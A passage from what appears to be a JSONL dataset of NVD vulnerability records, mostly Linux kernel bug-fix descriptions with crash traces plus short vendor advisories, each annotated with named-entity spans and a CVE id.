parport drm efi_pstore ip_tables x_tables pci_stub crc32_pclmul nvme ahci libahci i2c_piix4 r8169 nvme_core i2c_designware_pci realtek i2c_ccgx_ucsi video wmi hid_generic cdc_ether usbnet usbhid hid r8152 mii\n[  364.049576] CPU: 6 PID: 1964 Comm: rocminfo Tainted: G           OE      6.10.0-custom #492\n[  364.049579] Hardware name: AMD Majolica-RN/Majolica-RN, BIOS RMJ1009A 06/13/2021\n[  364.049582] RIP: 0010:debug_dma_map_sg+0x2dc/0x370\n[  364.049585] Code: 89 4d b8 e8 36 b1 86 00 8b 4d b8 48 8b 55 b0 44 8b 45 a8 4c 8b 4d a0 48 89 c6 48 c7 c7 00 4b 74 bc 4c 89 4d b8 e8 b4 73 f3 ff <0f> 0b 4c 8b 4d b8 8b 15 c8 2c b8 01 85 d2 0f 85 ee fd ff ff 8b 05\n[  364.049588] RSP: 0018:ffff9ca600b57ac0 EFLAGS: 00010286\n[  364.049590] RAX: 0000000000000000 RBX: ffff88b7c132b0c8 RCX: 0000000000000027\n[  364.049592] RDX: ffff88bb0f521688 RSI: 0000000000000001 RDI: ffff88bb0f521680\n[  364.049594] RBP: ffff9ca600b57b20 R08: 000000000000006f R09: ffff9ca600b57930\n[  364.049596] R10: ffff9ca600b57928 R11: ffffffffbcb46328 R12: 0000000000000000\n[  364.049597] R13: 0000000000000001 R14: ffff88b7c19c0700 R15: ffff88b7c9059800\n[  364.049599] FS:  00007fb2d3516e80(0000) GS:ffff88bb0f500000(0000) knlGS:0000000000000000\n[  364.049601] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  364.049603] CR2: 000055610bd03598 CR3: 00000001049f6000 CR4: 0000000000350ef0\n[  364.049605] Call Trace:\n[  364.049607]  <TASK>\n[  364.049609]  ? show_regs+0x6d/0x80\n[  364.049614]  ? __warn+0x8c/0x140\n[  364.049618]  ? debug_dma_map_sg+0x2dc/0x370\n[  364.049621]  ? report_bug+0x193/0x1a0\n[  364.049627]  ? handle_bug+0x46/0x80\n[  364.049631]  ? exc_invalid_op+0x1d/0x80\n[  364.049635]  ? asm_exc_invalid_op+0x1f/0x30\n[  364.049642]  ? debug_dma_map_sg+0x2dc/0x370\n[  364.049647]  __dma_map_sg_attrs+0x90/0xe0\n[  364.049651]  dma_map_sgtable+0x25/0x40\n[  364.049654]  amdgpu_bo_move+0x59a/0x850 [amdgpu]\n[  364.049935]  ? srso_return_thunk+0x5/0x5f\n[  364.049939]  ? amdgpu_ttm_tt_populate+0x5d/0xc0 [amdgpu]\n[  364.050095]  ttm_bo_handle_move_mem+0xc3/0x180 [ttm]\n[  364.050103]  ttm_bo_validate+0xc1/0x160 [ttm]\n[  364.050108]  ? amdgpu_ttm_tt_get_user_pages+0xe5/0x1b0 [amdgpu]\n[  364.050263]  amdgpu_amdkfd_gpuvm_alloc_memory_of_gpu+0xa12/0xc90 [amdgpu]\n[  364.050473]  kfd_ioctl_alloc_memory_of_gpu+0x16b/0x3b0 [amdgpu]\n[  364.050680]  kfd_ioctl+0x3c2/0x530 [amdgpu]\n[  364.050866]  ? __pfx_kfd_ioctl_alloc_memory_of_gpu+0x10/0x10 [amdgpu]\n[  364.05105\n---truncated---", "spans": {"FILEPATH: /dma/debug.c": [[319, 331]], "FILEPATH: /13/2021": [[1922, 1930]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: AMD": [[1877, 1880]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56594"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm6: check ip6_dst_idev() return value in xfrm6_get_saddr()\n\nip6_dst_idev() can return NULL, xfrm6_get_saddr() must act accordingly.\n\nsyzbot reported:\n\nOops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN PTI\nKASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\nCPU: 1 PID: 12 Comm: kworker/u8:1 Not tainted 6.10.0-rc2-syzkaller-00383-gb8481381d4e2 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/02/2024\nWorkqueue: wg-kex-wg1 wg_packet_handshake_send_worker\n RIP: 0010:xfrm6_get_saddr+0x93/0x130 net/ipv6/xfrm6_policy.c:64\nCode: df 48 89 fa 48 c1 ea 03 80 3c 02 00 0f 85 97 00 00 00 4c 8b ab d8 00 00 00 48 b8 00 00 00 00 00 fc ff df 4c 89 ea 48 c1 ea 03 <80> 3c 02 00 0f 85 86 00 00 00 4d 8b 6d 00 e8 ca 13 47 01 48 b8 00\nRSP: 0018:ffffc90000117378 EFLAGS: 00010246\nRAX: dffffc0000000000 RBX: ffff88807b079dc0 RCX: ffffffff89a0d6d7\nRDX: 0000000000000000 RSI: ffffffff89a0d6e9 RDI: ffff88807b079e98\nRBP: ffff88807ad73248 R08: 0000000000000007 R09: fffffffffffff000\nR10: ffff88807b079dc0 R11: 0000000000000007 R12: ffffc90000117480\nR13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000\nFS:  0000000000000000(0000) GS:ffff8880b9300000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f4586d00440 CR3: 0000000079042000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n  xfrm_get_saddr net/xfrm/xfrm_policy.c:2452 [inline]\n  xfrm_tmpl_resolve_one net/xfrm/xfrm_policy.c:2481 [inline]\n  xfrm_tmpl_resolve+0xa26/0xf10 net/xfrm/xfrm_policy.c:2541\n  xfrm_resolve_and_create_bundle+0x140/0x2570 net/xfrm/xfrm_policy.c:2835\n  xfrm_bundle_lookup net/xfrm/xfrm_policy.c:3070 [inline]\n  xfrm_lookup_with_ifid+0x4d1/0x1e60 net/xfrm/xfrm_policy.c:3201\n  xfrm_lookup net/xfrm/xfrm_policy.c:3298 [inline]\n  xfrm_lookup_route+0x3b/0x200 net/xfrm/xfrm_policy.c:3309\n  ip6_dst_lookup_flow+0x15c/0x1d0 net/ipv6/ip6_output.c:1256\n  send6+0x611/0xd20 drivers/net/wireguard/socket.c:139\n  wg_socket_send_skb_to_peer+0xf9/0x220 drivers/net/wireguard/socket.c:178\n  wg_socket_send_buffer_to_peer+0x12b/0x190 drivers/net/wireguard/socket.c:200\n  wg_packet_send_handshake_initiation+0x227/0x360 drivers/net/wireguard/send.c:40\n  wg_packet_handshake_send_worker+0x1c/0x30 drivers/net/wireguard/send.c:51\n  process_one_work+0x9fb/0x1b60 kernel/workqueue.c:3231\n  process_scheduled_works kernel/workqueue.c:3312 [inline]\n  worker_thread+0x6c8/0xf70 kernel/workqueue.c:3393\n  kthread+0x2c1/0x3a0 kernel/kthread.c:389\n  ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:147\n  ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244", "spans": {"FILEPATH: /02/2024": [[584, 592]], "FILEPATH: /ipv6/xfrm6_policy.c": [[688, 708]], "FILEPATH: /xfrm/xfrm_policy.c": [[1651, 1670], [1712, 1731], [1781, 1800], [1855, 1874], [1904, 1923], [1978, 1997], [2020, 2039], [2088, 2107]], "FILEPATH: /ipv6/ip6_output.c": [[2150, 2168]], "FILEPATH: /net/wireguard/socket.c": [[2201, 2224], [2276, 2299], [2355, 2378]], "FILEPATH: /net/wireguard/send.c": [[2440, 2461], [2516, 2537]], "FILEPATH: /x86/kernel/process.c": [[2781, 2802]], "FILEPATH: /x86/entry/entry_64.S": [[2841, 2862]], "FILEPATH: workqueue.c": [[2580, 2591], [2630, 2641], [2691, 2702]], "FILEPATH: kthread.c": [[2737, 2746]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[518, 524], [525, 531], [547, 553], [575, 581]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-40959"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nata: libata-core: Fix double free on error\n\nIf e.g. the ata_port_alloc() call in ata_host_alloc() fails, we will jump\nto the err_out label, which will call devres_release_group().\ndevres_release_group() will trigger a call to ata_host_release().\nata_host_release() calls kfree(host), so executing the kfree(host) in\nata_host_alloc() will lead to a double free:\n\nkernel BUG at mm/slub.c:553!\nOops: invalid opcode: 0000 [#1] PREEMPT SMP NOPTI\nCPU: 11 PID: 599 Comm: (udev-worker) Not tainted 6.10.0-rc5 #47\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-2.fc40 04/01/2014\nRIP: 0010:kfree+0x2cf/0x2f0\nCode: 5d 41 5e 41 5f 5d e9 80 d6 ff ff 4d 89 f1 41 b8 01 00 00 00 48 89 d9 48 89 da\nRSP: 0018:ffffc90000f377f0 EFLAGS: 00010246\nRAX: ffff888112b1f2c0 RBX: ffff888112b1f2c0 RCX: ffff888112b1f320\nRDX: 000000000000400b RSI: ffffffffc02c9de5 RDI: ffff888112b1f2c0\nRBP: ffffc90000f37830 R08: 0000000000000000 R09: 0000000000000000\nR10: ffffc90000f37610 R11: 617461203a736b6e R12: ffffea00044ac780\nR13: ffff888100046400 R14: ffffffffc02c9de5 R15: 0000000000000006\nFS:  00007f2f1cabe980(0000) GS:ffff88813b380000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f2f1c3acf75 CR3: 0000000111724000 CR4: 0000000000750ef0\nPKRU: 55555554\nCall Trace:\n <TASK>\n ? __die_body.cold+0x19/0x27\n ? die+0x2e/0x50\n ? do_trap+0xca/0x110\n ? do_error_trap+0x6a/0x90\n ? kfree+0x2cf/0x2f0\n ? exc_invalid_op+0x50/0x70\n ? kfree+0x2cf/0x2f0\n ? asm_exc_invalid_op+0x1a/0x20\n ? ata_host_alloc+0xf5/0x120 [libata]\n ? ata_host_alloc+0xf5/0x120 [libata]\n ? kfree+0x2cf/0x2f0\n ata_host_alloc+0xf5/0x120 [libata]\n ata_host_alloc_pinfo+0x14/0xa0 [libata]\n ahci_init_one+0x6c9/0xd20 [ahci]\n\nEnsure that we will not call kfree(host) twice, by performing the kfree()\nonly if the devres_open_group() call failed.", "spans": {"FILEPATH: /01/2014": [[650, 658]], "FILEPATH: slub.c": [[448, 454]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[589, 593]], "VULNERABILITY: double free": [[91, 102], [417, 428]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-41087"}}
{"text": "Vulnerability in the Oracle Human Resources product of Oracle E-Business Suite (component: People Management). Supported versions that are affected are 12.1.1-12.1.3. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Human Resources. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Human Resources accessible data as well as unauthorized access to critical data or complete access to all Oracle Human Resources accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [55, 61], [274, 280], [432, 438], [545, 551]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2365"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 8.6.73 and 9.7.1-alpha.4, a file can be uploaded with a filename extension that passes the file extension allowlist (e.g., .txt) but with a Content-Type header that differs from the extension (e.g., text/html). The Content-Type is passed to the storage adapter without consistency validation. Storage adapters that store and serve the provided Content-Type (such as S3 or GCS) serve the file with the mismatched Content-Type. The default GridFS adapter is not affected because it derives Content-Type from the filename at serving time. This vulnerability is fixed in 8.6.73 and 9.7.1-alpha.4.", "spans": {"FILEPATH: Node.js": [[95, 102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35200"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndma: xilinx_dpdma: Fix locking\n\nThere are several places where either chan->lock or chan->vchan.lock was\nnot held. Add appropriate locking. This fixes lockdep warnings like\n\n[   31.077578] ------------[ cut here ]------------\n[   31.077831] WARNING: CPU: 2 PID: 40 at drivers/dma/xilinx/xilinx_dpdma.c:834 xilinx_dpdma_chan_queue_transfer+0x274/0x5e0\n[   31.077953] Modules linked in:\n[   31.078019] CPU: 2 PID: 40 Comm: kworker/u12:1 Not tainted 6.6.20+ #98\n[   31.078102] Hardware name: xlnx,zynqmp (DT)\n[   31.078169] Workqueue: events_unbound deferred_probe_work_func\n[   31.078272] pstate: 600000c5 (nZCv daIF -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[   31.078377] pc : xilinx_dpdma_chan_queue_transfer+0x274/0x5e0\n[   31.078473] lr : xilinx_dpdma_chan_queue_transfer+0x270/0x5e0\n[   31.078550] sp : ffffffc083bb2e10\n[   31.078590] x29: ffffffc083bb2e10 x28: 0000000000000000 x27: ffffff880165a168\n[   31.078754] x26: ffffff880164e920 x25: ffffff880164eab8 x24: ffffff880164d480\n[   31.078920] x23: ffffff880165a148 x22: ffffff880164e988 x21: 0000000000000000\n[   31.079132] x20: ffffffc082aa3000 x19: ffffff880164e880 x18: 0000000000000000\n[   31.079295] x17: 0000000000000000 x16: 0000000000000000 x15: 0000000000000000\n[   31.079453] x14: 0000000000000000 x13: ffffff8802263dc0 x12: 0000000000000001\n[   31.079613] x11: 0001ffc083bb2e34 x10: 0001ff880164e98f x9 : 0001ffc082aa3def\n[   31.079824] x8 : 0001ffc082aa3dec x7 : 0000000000000000 x6 : 0000000000000516\n[   31.079982] x5 : ffffffc7f8d43000 x4 : ffffff88003c9c40 x3 : ffffffffffffffff\n[   31.080147] x2 : ffffffc7f8d43000 x1 : 00000000000000c0 x0 : 0000000000000000\n[   31.080307] Call trace:\n[   31.080340]  xilinx_dpdma_chan_queue_transfer+0x274/0x5e0\n[   31.080518]  xilinx_dpdma_issue_pending+0x11c/0x120\n[   31.080595]  zynqmp_disp_layer_update+0x180/0x3ac\n[   31.080712]  zynqmp_dpsub_plane_atomic_update+0x11c/0x21c\n[   31.080825]  drm_atomic_helper_commit_planes+0x20c/0x684\n[   31.080951]  drm_atomic_helper_commit_tail+0x5c/0xb0\n[   31.081139]  commit_tail+0x234/0x294\n[   31.081246]  drm_atomic_helper_commit+0x1f8/0x210\n[   31.081363]  drm_atomic_commit+0x100/0x140\n[   31.081477]  drm_client_modeset_commit_atomic+0x318/0x384\n[   31.081634]  drm_client_modeset_commit_locked+0x8c/0x24c\n[   31.081725]  drm_client_modeset_commit+0x34/0x5c\n[   31.081812]  __drm_fb_helper_restore_fbdev_mode_unlocked+0x104/0x168\n[   31.081899]  drm_fb_helper_set_par+0x50/0x70\n[   31.081971]  fbcon_init+0x538/0xc48\n[   31.082047]  visual_init+0x16c/0x23c\n[   31.082207]  do_bind_con_driver.isra.0+0x2d0/0x634\n[   31.082320]  do_take_over_console+0x24c/0x33c\n[   31.082429]  do_fbcon_takeover+0xbc/0x1b0\n[   31.082503]  fbcon_fb_registered+0x2d0/0x34c\n[   31.082663]  register_framebuffer+0x27c/0x38c\n[   31.082767]  __drm_fb_helper_initial_config_and_unlock+0x5c0/0x91c\n[   31.082939]  drm_fb_helper_initial_config+0x50/0x74\n[   31.083012]  drm_fbdev_dma_client_hotplug+0xb8/0x108\n[   31.083115]  drm_client_register+0xa0/0xf4\n[   31.083195]  drm_fbdev_dma_setup+0xb0/0x1cc\n[   31.083293]  zynqmp_dpsub_drm_init+0x45c/0x4e0\n[   31.083431]  zynqmp_dpsub_probe+0x444/0x5e0\n[   31.083616]  platform_probe+0x8c/0x13c\n[   31.083713]  really_probe+0x258/0x59c\n[   31.083793]  __driver_probe_device+0xc4/0x224\n[   31.083878]  driver_probe_device+0x70/0x1c0\n[   31.083961]  __device_attach_driver+0x108/0x1e0\n[   31.084052]  bus_for_each_drv+0x9c/0x100\n[   31.084125]  __device_attach+0x100/0x298\n[   31.084207]  device_initial_probe+0x14/0x20\n[   31.084292]  bus_probe_device+0xd8/0xdc\n[   31.084368]  deferred_probe_work_func+0x11c/0x180\n[   31.084451]  process_one_work+0x3ac/0x988\n[   31.084643]  worker_thread+0x398/0x694\n[   31.084752]  kthread+0x1bc/0x1c0\n[   31.084848]  ret_from_fork+0x10/0x20\n[   31.084932] irq event stamp: 64549\n[   31.084970] hardirqs last  enabled at (64548): [<ffffffc081adf35c>] _raw_spin_unlock_irqrestore+0x80/0x90\n[   31.085157]\n---truncated---", "spans": {"FILEPATH: /dma/xilinx/xilinx_dpdma.c": [[344, 370]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35990"}}
{"text": "Puppet Server and PuppetDB provide useful performance and debugging information via their metrics API endpoints. For PuppetDB this may contain things like hostnames. Puppet Server reports resource names and titles for defined types (which may contain sensitive information) as well as function names and class names. Previously, these endpoints were open to the local network. PE 2018.1.13 & 2019.5.0, Puppet Server 6.9.2 & 5.3.12, and PuppetDB 6.9.1 & 5.2.13 disable trapperkeeper-metrics /v1 metrics API and only allows /v2 access on localhost by default. This affects software versions: Puppet Enterprise 2018.1.x stream prior to 2018.1.13 Puppet Enterprise prior to 2019.5.0 Puppet Server prior to 6.9.2 Puppet Server prior to 5.3.12 PuppetDB prior to 6.9.1 PuppetDB prior to 5.2.13 Resolved in: Puppet Enterprise 2018.1.13 Puppet Enterprise 2019.5.0 Puppet Server 6.9.2 Puppet Server 5.3.12 PuppetDB 6.9.1 PuppetDB 5.2.13", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-7943"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbinder: fix freeze UAF in binder_release_work()\n\nWhen a binder reference is cleaned up, any freeze work queued in the\nassociated process should also be removed. Otherwise, the reference is\nfreed while its ref->freeze.work is still queued in proc->work leading\nto a use-after-free issue as shown by the following KASAN report:\n\n  ==================================================================\n  BUG: KASAN: slab-use-after-free in binder_release_work+0x398/0x3d0\n  Read of size 8 at addr ffff31600ee91488 by task kworker/5:1/211\n\n  CPU: 5 UID: 0 PID: 211 Comm: kworker/5:1 Not tainted 6.11.0-rc7-00382-gfc6c92196396 #22\n  Hardware name: linux,dummy-virt (DT)\n  Workqueue: events binder_deferred_func\n  Call trace:\n   binder_release_work+0x398/0x3d0\n   binder_deferred_func+0xb60/0x109c\n   process_one_work+0x51c/0xbd4\n   worker_thread+0x608/0xee8\n\n  Allocated by task 703:\n   __kmalloc_cache_noprof+0x130/0x280\n   binder_thread_write+0xdb4/0x42a0\n   binder_ioctl+0x18f0/0x25ac\n   __arm64_sys_ioctl+0x124/0x190\n   invoke_syscall+0x6c/0x254\n\n  Freed by task 211:\n   kfree+0xc4/0x230\n   binder_deferred_func+0xae8/0x109c\n   process_one_work+0x51c/0xbd4\n   worker_thread+0x608/0xee8\n  ==================================================================\n\nThis commit fixes the issue by ensuring any queued freeze work is removed\nwhen cleaning up a binder reference.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[334, 348], [484, 498]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56554"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/hns: Fix double destruction of rsv_qp\n\nrsv_qp may be double destroyed in error flow, first in free_mr_init(),\nand then in hns_roce_exit(). Fix it by moving the free_mr_init() call\ninto hns_roce_v2_init().\n\nlist_del corruption, ffff589732eb9b50->next is LIST_POISON1 (dead000000000100)\nWARNING: CPU: 8 PID: 1047115 at lib/list_debug.c:53 __list_del_entry_valid+0x148/0x240\n...\nCall trace:\n __list_del_entry_valid+0x148/0x240\n hns_roce_qp_remove+0x4c/0x3f0 [hns_roce_hw_v2]\n hns_roce_v2_destroy_qp_common+0x1dc/0x5f4 [hns_roce_hw_v2]\n hns_roce_v2_destroy_qp+0x22c/0x46c [hns_roce_hw_v2]\n free_mr_exit+0x6c/0x120 [hns_roce_hw_v2]\n hns_roce_v2_exit+0x170/0x200 [hns_roce_hw_v2]\n hns_roce_exit+0x118/0x350 [hns_roce_hw_v2]\n __hns_roce_hw_v2_init_instance+0x1c8/0x304 [hns_roce_hw_v2]\n hns_roce_hw_v2_reset_notify_init+0x170/0x21c [hns_roce_hw_v2]\n hns_roce_hw_v2_reset_notify+0x6c/0x190 [hns_roce_hw_v2]\n hclge_notify_roce_client+0x6c/0x160 [hclge]\n hclge_reset_rebuild+0x150/0x5c0 [hclge]\n hclge_reset+0x10c/0x140 [hclge]\n hclge_reset_subtask+0x80/0x104 [hclge]\n hclge_reset_service_task+0x168/0x3ac [hclge]\n hclge_service_task+0x50/0x100 [hclge]\n process_one_work+0x250/0x9a0\n worker_thread+0x324/0x990\n kthread+0x190/0x210\n ret_from_fork+0x10/0x18", "spans": {"FILEPATH: list_debug.c": [[395, 407]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38582"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsoundwire: Revert \"soundwire: qcom: Add set_channel_map api support\"\n\nThis reverts commit 7796c97df6b1b2206681a07f3c80f6023a6593d5.\n\nThis patch broke Dragonboard 845c (sdm845). I see:\n\n    Unexpected kernel BRK exception at EL1\n    Internal error: BRK handler: 00000000f20003e8 [#1]  SMP\n    pc : qcom_swrm_set_channel_map+0x7c/0x80 [soundwire_qcom]\n    lr : snd_soc_dai_set_channel_map+0x34/0x78\n    Call trace:\n     qcom_swrm_set_channel_map+0x7c/0x80 [soundwire_qcom] (P)\n     sdm845_dai_init+0x18c/0x2e0 [snd_soc_sdm845]\n     snd_soc_link_init+0x28/0x6c\n     snd_soc_bind_card+0x5f4/0xb0c\n     snd_soc_register_card+0x148/0x1a4\n     devm_snd_soc_register_card+0x50/0xb0\n     sdm845_snd_platform_probe+0x124/0x148 [snd_soc_sdm845]\n     platform_probe+0x6c/0xd0\n     really_probe+0xc0/0x2a4\n     __driver_probe_device+0x7c/0x130\n     driver_probe_device+0x40/0x118\n     __device_attach_driver+0xc4/0x108\n     bus_for_each_drv+0x8c/0xf0\n     __device_attach+0xa4/0x198\n     device_initial_probe+0x18/0x28\n     bus_probe_device+0xb8/0xbc\n     deferred_probe_work_func+0xac/0xfc\n     process_one_work+0x244/0x658\n     worker_thread+0x1b4/0x360\n     kthread+0x148/0x228\n     ret_from_fork+0x10/0x20\n    Kernel panic - not syncing: BRK handler: Fatal exception\n\nDan has also reported following issues with the original patch\nhttps://lore.kernel.org/all/33fe8fe7-719a-405a-9ed2-d9f816ce1d57@sabinyo.mountain/\n\nBug #1:\nThe zeroeth element of ctrl->pconfig[] is supposed to be unused.  We\nstart counting at 1.  However this code sets ctrl->pconfig[0].ch_mask = 128.\n\nBug #2:\nThere are SLIM_MAX_TX_PORTS (16) elements in tx_ch[] array but only\nQCOM_SDW_MAX_PORTS + 1 (15) in the ctrl->pconfig[] array so it corrupts\nmemory like Yongqin Liu pointed out.\n\nBug 3:\nLike Jie Gan pointed out, it erases all the tx information with the rx\ninformation.", "spans": {"URL: https://lore.kernel.org/all/33fe8fe7-719a-405a-9ed2-d9f816ce1d57@sabinyo.mountain/": [[1391, 1473]], "HASH: 7796c97df6b1b2206681a07f3c80f6023a6593d5": [[159, 199]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38486"}}
{"text": "Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Filters). The supported version that is affected is 8.5.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Outside In Technology accessible data as well as unauthorized read access to a subset of Oracle Outside In Technology accessible data. Note: Outside In Technology is a suite of software development kits (SDKs). The protocol and CVSS Base Score depend on the software that uses Outside In Technology. The CVSS score assumes that the software passes data received over a network directly to Outside In Technology, but if data is not received over a network the CVSS score may be lower. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [61, 67], [276, 282], [440, 446], [536, 542]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2242"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915/hwmon: Get rid of devm\n\nWhen both hwmon and hwmon drvdata (on which hwmon depends) are device\nmanaged resources, the expectation, on device unbind, is that hwmon will be\nreleased before drvdata. However, in i915 there are two separate code\npaths, which both release either drvdata or hwmon and either can be\nreleased before the other. These code paths (for device unbind) are as\nfollows (see also the bug referenced below):\n\nCall Trace:\nrelease_nodes+0x11/0x70\ndevres_release_group+0xb2/0x110\ncomponent_unbind_all+0x8d/0xa0\ncomponent_del+0xa5/0x140\nintel_pxp_tee_component_fini+0x29/0x40 [i915]\nintel_pxp_fini+0x33/0x80 [i915]\ni915_driver_remove+0x4c/0x120 [i915]\ni915_pci_remove+0x19/0x30 [i915]\npci_device_remove+0x32/0xa0\ndevice_release_driver_internal+0x19c/0x200\nunbind_store+0x9c/0xb0\n\nand\n\nCall Trace:\nrelease_nodes+0x11/0x70\ndevres_release_all+0x8a/0xc0\ndevice_unbind_cleanup+0x9/0x70\ndevice_release_driver_internal+0x1c1/0x200\nunbind_store+0x9c/0xb0\n\nThis means that in i915, if use devm, we cannot gurantee that hwmon will\nalways be released before drvdata. Which means that we have a uaf if hwmon\nsysfs is accessed when drvdata has been released but hwmon hasn't.\n\nThe only way out of this seems to be do get rid of devm_ and release/free\neverything explicitly during device unbind.\n\nv2: Change commit message and other minor code changes\nv3: Cleanup from i915_hwmon_register on error (Armin Wolf)\nv4: Eliminate potential static analyzer warning (Rodrigo)\n    Eliminate fetch_and_zero (Jani)\nv5: Restore previous logic for ddat_gt->hwmon_dev error return (Andi)", "spans": {"FILEPATH: /i915/hwmon": [[72, 83]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-39479"}}
{"text": "A vulnerability in Juniper Networks Junos OS caused by Missing Release of Memory after Effective Lifetime leads to a memory leak each time the CLI command 'show system connections extensive' is executed. The amount of memory leaked on each execution depends on the number of TCP connections from and to the system. Repeated execution will cause more memory to leak and eventually daemons that need to allocate additionally memory and ultimately the kernel to crash, which will result in traffic loss. Continued execution of this command will cause a sustained Denial of Service (DoS) condition. An administrator can use the following CLI command to monitor for increase in memory consumption of the netstat process, if it exists: user@junos> show system processes extensive | match \"username|netstat\" PID USERNAME PRI NICE SIZE RES STATE C TIME WCPU COMMAND 21181 root 100 0 5458M 4913M CPU3 2 0:59 97.27% netstat The following log message might be observed if this issue happens: kernel: %KERN-3: pid 21181 (netstat), uid 0, was killed: out of swap space This issue affects Juniper Networks Junos OS 18.2 versions prior to 18.2R2-S8, 18.2R3-S7. 18.3 versions prior to 18.3R3-S4; 18.4 versions prior to 18.4R1-S8, 18.4R2-S6, 18.4R3-S7; 19.1 versions prior to 19.1R1-S6, 19.1R2-S2, 19.1R3-S4; 19.2 versions prior to 19.2R1-S6, 19.2R3-S2; 19.3 versions prior to 19.3R2-S6, 19.3R3-S1; 19.4 versions prior to 19.4R1-S4, 19.4R2-S3, 19.4R3-S1; 20.1 versions prior to 20.1R2; 20.2 versions prior to 20.2R2-S1, 20.2R3; 20.3 versions prior to 20.3R1-S1, 20.3R2; This issue does not affect Juniper Networks Junos OS versions prior to 18.2R1.", "spans": {"ORGANIZATION: Juniper": [[19, 26], [1075, 1082], [1580, 1587]], "VULNERABILITY: Denial of Service": [[560, 577]], "VULNERABILITY: memory leak": [[117, 128]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0293"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: fix zswap writeback race condition\n\nThe zswap writeback mechanism can cause a race condition resulting in\nmemory corruption, where a swapped out page gets swapped in with data that\nwas written to a different page.\n\nThe race unfolds like this:\n1. a page with data A and swap offset X is stored in zswap\n2. page A is removed off the LRU by zpool driver for writeback in\n   zswap-shrink work, data for A is mapped by zpool driver\n3. user space program faults and invalidates page entry A, offset X is\n   considered free\n4. kswapd stores page B at offset X in zswap (zswap could also be\n   full, if so, page B would then be IOed to X, then skip step 5.)\n5. entry A is replaced by B in tree->rbroot, this doesn't affect the\n   local reference held by zswap-shrink work\n6. zswap-shrink work writes back A at X, and frees zswap entry A\n7. swapin of slot X brings A in memory instead of B\n\nThe fix:\nOnce the swap page cache has been allocated (case ZSWAP_SWAPCACHE_NEW),\nzswap-shrink work just checks that the local zswap_entry reference is\nstill the same as the one in the tree.  If it's not the same it means that\nit's either been invalidated or replaced, in both cases the writeback is\naborted because the local entry contains stale data.\n\nReproducer:\nI originally found this by running `stress` overnight to validate my work\non the zswap writeback mechanism, it manifested after hours on my test\nmachine.  The key to make it happen is having zswap writebacks, so\nwhatever setup pumps /sys/kernel/debug/zswap/written_back_pages should do\nthe trick.\n\nIn order to reproduce this faster on a vm, I setup a system with ~100M of\navailable memory and a 500M swap file, then running `stress --vm 1\n--vm-bytes 300000000 --vm-stride 4000` makes it happen in matter of tens\nof minutes.  One can speed things up even more by swinging\n/sys/module/zswap/parameters/max_pool_percent up and down between, say, 20\nand 1; this makes it reproduce in tens of seconds.  It's crucial to set\n`--vm-stride` to something other than 4096 otherwise `stress` won't\nrealize that memory has been corrupted because all pages would have the\nsame data.", "spans": {"FILEPATH: /sys/kernel/debug/zswap/written_back_pages": [[1553, 1595]], "FILEPATH: 